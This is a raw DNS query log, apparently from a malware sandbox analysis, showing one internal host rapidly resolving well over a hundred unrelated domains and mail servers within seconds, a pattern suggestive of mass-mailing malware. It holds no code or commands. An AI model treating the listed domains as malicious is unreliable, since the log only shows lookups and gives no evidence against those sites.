Jul 27, 2023 21:53:54.871732950 CEST	192.168.2.4	8.8.8.8	0x79e9	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.899367094 CEST	192.168.2.4	8.8.8.8	0x51c7	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.906763077 CEST	192.168.2.4	8.8.8.8	0x5e0a	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.933232069 CEST	192.168.2.4	8.8.8.8	0x1ddf	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.939023972 CEST	192.168.2.4	8.8.8.8	0xd2f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.948286057 CEST	192.168.2.4	8.8.8.8	0xf3db	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.998454094 CEST	192.168.2.4	8.8.8.8	0x5b5f	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.056227922 CEST	192.168.2.4	8.8.8.8	0x6c6c	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.064910889 CEST	192.168.2.4	8.8.8.8	0x9fdd	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.147438049 CEST	192.168.2.4	8.8.8.8	0xa5ab	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.181967974 CEST	192.168.2.4	8.8.8.8	0xd6e0	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.219177008 CEST	192.168.2.4	8.8.8.8	0x4adb	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.280071020 CEST	192.168.2.4	8.8.8.8	0x2163	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.292309046 CEST	192.168.2.4	8.8.8.8	0xa2b3	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.294954062 CEST	192.168.2.4	8.8.8.8	0xb281	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.438061953 CEST	192.168.2.4	8.8.8.8	0xbe60	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.483870983 CEST	192.168.2.4	8.8.8.8	0x515d	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.540633917 CEST	192.168.2.4	8.8.8.8	0xb79	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.541815042 CEST	192.168.2.4	8.8.8.8	0x3cca	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.556324959 CEST	192.168.2.4	8.8.8.8	0xc001	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.604522943 CEST	192.168.2.4	8.8.8.8	0x4df8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.617331982 CEST	192.168.2.4	8.8.8.8	0x7a10	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.632447958 CEST	192.168.2.4	8.8.8.8	0x5098	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.660737991 CEST	192.168.2.4	8.8.8.8	0xa54c	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.661780119 CEST	192.168.2.4	8.8.8.8	0xcd5d	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.720458031 CEST	192.168.2.4	8.8.8.8	0x524e	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.747076035 CEST	192.168.2.4	8.8.8.8	0xf62f	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.786708117 CEST	192.168.2.4	8.8.8.8	0x9fab	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.794179916 CEST	192.168.2.4	8.8.8.8	0x7dbd	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.832027912 CEST	192.168.2.4	8.8.8.8	0xe756	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.882671118 CEST	192.168.2.4	8.8.8.8	0x1288	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.944967985 CEST	192.168.2.4	8.8.8.8	0xe796	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.946438074 CEST	192.168.2.4	8.8.8.8	0x66a3	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.967715979 CEST	192.168.2.4	8.8.8.8	0xae50	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.975579023 CEST	192.168.2.4	8.8.8.8	0x72c0	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.982635975 CEST	192.168.2.4	8.8.8.8	0xd2f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.990776062 CEST	192.168.2.4	8.8.8.8	0xcdd4	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.992763996 CEST	192.168.2.4	8.8.8.8	0x6fbc	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.020654917 CEST	192.168.2.4	8.8.8.8	0x31d7	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.084140062 CEST	192.168.2.4	8.8.8.8	0x746	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.192054033 CEST	192.168.2.4	8.8.8.8	0x9570	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.222148895 CEST	192.168.2.4	8.8.8.8	0xc1f	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.232259989 CEST	192.168.2.4	8.8.8.8	0x29e8	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.302238941 CEST	192.168.2.4	8.8.8.8	0x3416	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.339170933 CEST	192.168.2.4	8.8.8.8	0xd1c5	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.375341892 CEST	192.168.2.4	8.8.8.8	0xfafa	Standard query (0)	akr.co.id	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.510333061 CEST	192.168.2.4	8.8.8.8	0x86cc	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.559390068 CEST	192.168.2.4	8.8.8.8	0xc5c	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.569263935 CEST	192.168.2.4	8.8.8.8	0xf742	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.571127892 CEST	192.168.2.4	8.8.8.8	0xfcbc	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.577258110 CEST	192.168.2.4	8.8.8.8	0xdf49	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.581593037 CEST	192.168.2.4	8.8.8.8	0x3b57	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.592606068 CEST	192.168.2.4	8.8.8.8	0x6c14	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.595746040 CEST	192.168.2.4	8.8.8.8	0x4df8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.596736908 CEST	192.168.2.4	8.8.8.8	0x72a0	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.606525898 CEST	192.168.2.4	8.8.8.8	0x7a5e	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.620671988 CEST	192.168.2.4	8.8.8.8	0xf5b5	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.659699917 CEST	192.168.2.4	8.8.8.8	0x2b7c	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.723826885 CEST	192.168.2.4	8.8.8.8	0xe885	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.787239075 CEST	192.168.2.4	8.8.8.8	0xd514	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.811460972 CEST	192.168.2.4	8.8.8.8	0xdec1	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.820044994 CEST	192.168.2.4	8.8.8.8	0xd6ab	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.822968960 CEST	192.168.2.4	8.8.8.8	0xe581	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.979391098 CEST	192.168.2.4	8.8.8.8	0xa66d	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.036456108 CEST	192.168.2.4	8.8.8.8	0xd2f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.128782988 CEST	192.168.2.4	8.8.8.8	0x4e6b	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.128993988 CEST	192.168.2.4	8.8.8.8	0x746	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.151796103 CEST	192.168.2.4	8.8.8.8	0xd28	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.154427052 CEST	192.168.2.4	8.8.8.8	0xfaea	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.178596020 CEST	192.168.2.4	8.8.8.8	0x9219	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.201502085 CEST	192.168.2.4	8.8.8.8	0x4a3a	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.263643026 CEST	192.168.2.4	8.8.8.8	0xee33	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.287437916 CEST	192.168.2.4	8.8.8.8	0xa8e3	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.313206911 CEST	192.168.2.4	8.8.8.8	0xb11	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.451562881 CEST	192.168.2.4	8.8.8.8	0x8614	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.526304007 CEST	192.168.2.4	8.8.8.8	0xbd7f	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.527246952 CEST	192.168.2.4	8.8.8.8	0x3fca	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.536900997 CEST	192.168.2.4	8.8.8.8	0x755a	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.551799059 CEST	192.168.2.4	8.8.8.8	0x6758	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.553396940 CEST	192.168.2.4	8.8.8.8	0xf4a5	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.616156101 CEST	192.168.2.4	8.8.8.8	0x4df8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.700484037 CEST	192.168.2.4	8.8.8.8	0xbadb	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.724771023 CEST	192.168.2.4	8.8.8.8	0x1c	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.728825092 CEST	192.168.2.4	8.8.8.8	0xbf14	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.729125023 CEST	192.168.2.4	8.8.8.8	0xa4f0	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.729506016 CEST	192.168.2.4	8.8.8.8	0x2fd7	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.776799917 CEST	192.168.2.4	8.8.8.8	0x280	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.779774904 CEST	192.168.2.4	8.8.8.8	0x72a9	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.793256044 CEST	192.168.2.4	8.8.8.8	0x1221	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.877204895 CEST	192.168.2.4	8.8.8.8	0x1ec3	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.890733957 CEST	192.168.2.4	8.8.8.8	0x9be9	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.906362057 CEST	192.168.2.4	8.8.8.8	0x8a5d	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.925930977 CEST	192.168.2.4	8.8.8.8	0x314b	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.969878912 CEST	192.168.2.4	8.8.8.8	0x8a8d	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.041060925 CEST	192.168.2.4	8.8.8.8	0xf448	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.055742979 CEST	192.168.2.4	8.8.8.8	0x4c42	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.083342075 CEST	192.168.2.4	8.8.8.8	0xfd26	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.142266989 CEST	192.168.2.4	8.8.8.8	0x5b48	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.150129080 CEST	192.168.2.4	8.8.8.8	0x7589	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.164098024 CEST	192.168.2.4	8.8.8.8	0x78b7	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.282538891 CEST	192.168.2.4	8.8.8.8	0xa18a	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.293582916 CEST	192.168.2.4	8.8.8.8	0x8a10	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.319078922 CEST	192.168.2.4	8.8.8.8	0x409d	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.342839956 CEST	192.168.2.4	8.8.8.8	0x8da9	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.364676952 CEST	192.168.2.4	8.8.8.8	0x3d3f	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.462167978 CEST	192.168.2.4	8.8.8.8	0xfc22	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.511293888 CEST	192.168.2.4	8.8.8.8	0x26e3	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.525475979 CEST	192.168.2.4	8.8.8.8	0x8d1f	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.525537968 CEST	192.168.2.4	8.8.8.8	0xf110	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.554867983 CEST	192.168.2.4	8.8.8.8	0x5256	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.573318958 CEST	192.168.2.4	8.8.8.8	0xa665	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.573318958 CEST	192.168.2.4	8.8.8.8	0x82e3	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.668795109 CEST	192.168.2.4	8.8.8.8	0x6ede	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.694880009 CEST	192.168.2.4	8.8.8.8	0x612d	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.712028027 CEST	192.168.2.4	8.8.8.8	0xd598	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.715537071 CEST	192.168.2.4	8.8.8.8	0x45b4	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.809252977 CEST	192.168.2.4	8.8.8.8	0x95d5	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.975804090 CEST	192.168.2.4	8.8.8.8	0x47b2	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.979787111 CEST	192.168.2.4	8.8.8.8	0xb753	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.076113939 CEST	192.168.2.4	8.8.8.8	0xcae6	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.082650900 CEST	192.168.2.4	8.8.8.8	0xd2f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.088951111 CEST	192.168.2.4	8.8.8.8	0x7d18	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.195029974 CEST	192.168.2.4	8.8.8.8	0x5310	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.230400085 CEST	192.168.2.4	8.8.8.8	0xdd94	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.246870995 CEST	192.168.2.4	8.8.8.8	0x6bdc	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.260698080 CEST	192.168.2.4	8.8.8.8	0xa826	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.415472031 CEST	192.168.2.4	8.8.8.8	0xfeec	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.539473057 CEST	192.168.2.4	8.8.8.8	0xb39a	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.546339035 CEST	192.168.2.4	8.8.8.8	0xe28a	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.559520006 CEST	192.168.2.4	8.8.8.8	0x749d	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.568820953 CEST	192.168.2.4	8.8.8.8	0x29bc	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.575081110 CEST	192.168.2.4	8.8.8.8	0x183b	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.631421089 CEST	192.168.2.4	8.8.8.8	0xe8	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.634926081 CEST	192.168.2.4	8.8.8.8	0x4df8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.663477898 CEST	192.168.2.4	8.8.8.8	0xbc80	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.864168882 CEST	192.168.2.4	8.8.8.8	0x7ca0	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.884018898 CEST	192.168.2.4	8.8.8.8	0x4a6	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.891267061 CEST	192.168.2.4	8.8.8.8	0x5372	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.898824930 CEST	192.168.2.4	8.8.8.8	0x7259	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.974339008 CEST	192.168.2.4	8.8.8.8	0x8037	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.999311924 CEST	192.168.2.4	8.8.8.8	0x2ebd	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.008198023 CEST	192.168.2.4	8.8.8.8	0x1fe6	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.025770903 CEST	192.168.2.4	8.8.8.8	0xa275	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.121006966 CEST	192.168.2.4	8.8.8.8	0xab59	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.197627068 CEST	192.168.2.4	8.8.8.8	0xcc97	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.221365929 CEST	192.168.2.4	8.8.8.8	0xe309	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.280914068 CEST	192.168.2.4	8.8.8.8	0x2186	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.281821966 CEST	192.168.2.4	8.8.8.8	0xf82	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.323482990 CEST	192.168.2.4	8.8.8.8	0x3e2e	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.325356007 CEST	192.168.2.4	8.8.8.8	0x55e0	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.326457024 CEST	192.168.2.4	8.8.8.8	0x7ebd	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.346378088 CEST	192.168.2.4	8.8.8.8	0x37c6	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.407617092 CEST	192.168.2.4	8.8.8.8	0xe63	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.415704966 CEST	192.168.2.4	8.8.8.8	0xd2c3	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.610670090 CEST	192.168.2.4	8.8.8.8	0xb32d	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.638361931 CEST	192.168.2.4	8.8.8.8	0xeef5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.668159008 CEST	192.168.2.4	8.8.8.8	0x8d29	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.673315048 CEST	192.168.2.4	8.8.8.8	0x14e2	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.762511015 CEST	192.168.2.4	8.8.8.8	0xba09	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.863488913 CEST	192.168.2.4	8.8.8.8	0x2805	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.875226021 CEST	192.168.2.4	8.8.8.8	0x7f87	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.902985096 CEST	192.168.2.4	8.8.8.8	0xf6d7	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.913839102 CEST	192.168.2.4	8.8.8.8	0x988b	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.913839102 CEST	192.168.2.4	8.8.8.8	0xb005	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.018023014 CEST	192.168.2.4	8.8.8.8	0x8037	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.135848999 CEST	192.168.2.4	8.8.8.8	0x483f	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.226233959 CEST	192.168.2.4	8.8.8.8	0xd525	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.242757082 CEST	192.168.2.4	8.8.8.8	0x2f4e	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.301812887 CEST	192.168.2.4	8.8.8.8	0xe2ca	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.366775990 CEST	192.168.2.4	8.8.8.8	0x8050	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.376257896 CEST	192.168.2.4	8.8.8.8	0x790c	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.584374905 CEST	192.168.2.4	8.8.8.8	0x1c14	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.588335037 CEST	192.168.2.4	8.8.8.8	0x9338	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.627285004 CEST	192.168.2.4	8.8.8.8	0x2065	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.658380032 CEST	192.168.2.4	8.8.8.8	0x3047	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.674469948 CEST	192.168.2.4	8.8.8.8	0xeef5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.683588028 CEST	192.168.2.4	8.8.8.8	0x8d6a	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.694108009 CEST	192.168.2.4	8.8.8.8	0x34e1	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.725502014 CEST	192.168.2.4	8.8.8.8	0x7702	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.801429033 CEST	192.168.2.4	8.8.8.8	0x2dec	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.801687956 CEST	192.168.2.4	8.8.8.8	0x87b2	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.805056095 CEST	192.168.2.4	8.8.8.8	0x7033	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.845243931 CEST	192.168.2.4	8.8.8.8	0x2e7b	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.886934996 CEST	192.168.2.4	8.8.8.8	0x4b5a	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.045701981 CEST	192.168.2.4	8.8.8.8	0xebf6	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.047993898 CEST	192.168.2.4	8.8.8.8	0xb757	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.081551075 CEST	192.168.2.4	8.8.8.8	0x8037	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.109704971 CEST	192.168.2.4	8.8.8.8	0xcc7b	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.242459059 CEST	192.168.2.4	8.8.8.8	0x1ae0	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
